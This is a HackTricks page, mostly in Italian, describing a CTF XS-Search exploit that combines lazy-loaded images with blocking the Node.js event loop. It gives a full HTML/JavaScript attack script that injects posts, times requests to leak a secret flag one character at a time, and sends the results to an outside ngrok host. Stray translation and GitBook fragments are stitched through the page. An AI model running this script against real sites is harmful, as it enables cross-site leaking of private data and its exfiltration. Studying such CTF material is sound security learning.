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hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

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Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
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# Event Loop Blocking + Lazy images
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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In [**questo exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mescola la tecnica del **lazy image side channel** attraverso un'iniezione HTML con una sorta di **tecnica di blocco del ciclo degli eventi** per rivelare caratteri.
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Questo è un **exploit diverso per la sfida CTF** che è già stato commentato nella pagina seguente. dai un'occhiata per ulteriori informazioni sulla sfida:
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{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
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L'idea dietro questo exploit è:
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Translated to Italian
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* I post vengono caricati in ordine alfabetico
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* Un **attaccante** può **iniettare** un **post** che inizia con **"A"**, quindi un **tag HTML** (come un grande **`<canvas`**) occuperà la maggior parte dello **schermo** e alcuni finali **`<img lazy` tags** per caricare le cose.
* Se invece di una "A" l'**attaccante inietta lo stesso post ma che inizia con una "z".** Il **post** con il **flag** apparirà **per primo**, poi il **post iniettato** apparirà con la iniziale "z" e il **grande** **canvas**. Poiché il post con il flag è apparso per primo, il primo canvas occuperà tutto lo schermo e i finali **`<img lazy`** tags iniettati **non saranno visti** nello schermo, quindi **non saranno caricati**.
* Poi, **mentre** il bot sta **accedendo** alla pagina, l'**attaccante** invierà **richieste fetch**.&#x20;
* Se le **immagini** iniettate nel post vengono **caricate**, queste **richieste fetch** richiederanno **più tempo**, quindi l'attaccante sa che il **post è prima del flag** (alfabeticamente).
* Se le **richieste fetch** sono **veloci**, significa che il **post** è **alfabeticamente** **dopo** il flag.
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Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
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Let's check the code:
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```html
<!DOCTYPE html>
<html>
<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
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-->
<body>
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<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
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</body>
</html>
```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
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{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
GitBook: [#3600] No subject
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<details>
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
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<summary>Supporta HackTricks</summary>
GitBook: [#3600] No subject
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Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
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* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
GitBook: [#3600] No subject
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</details>
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
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{% endhint %}
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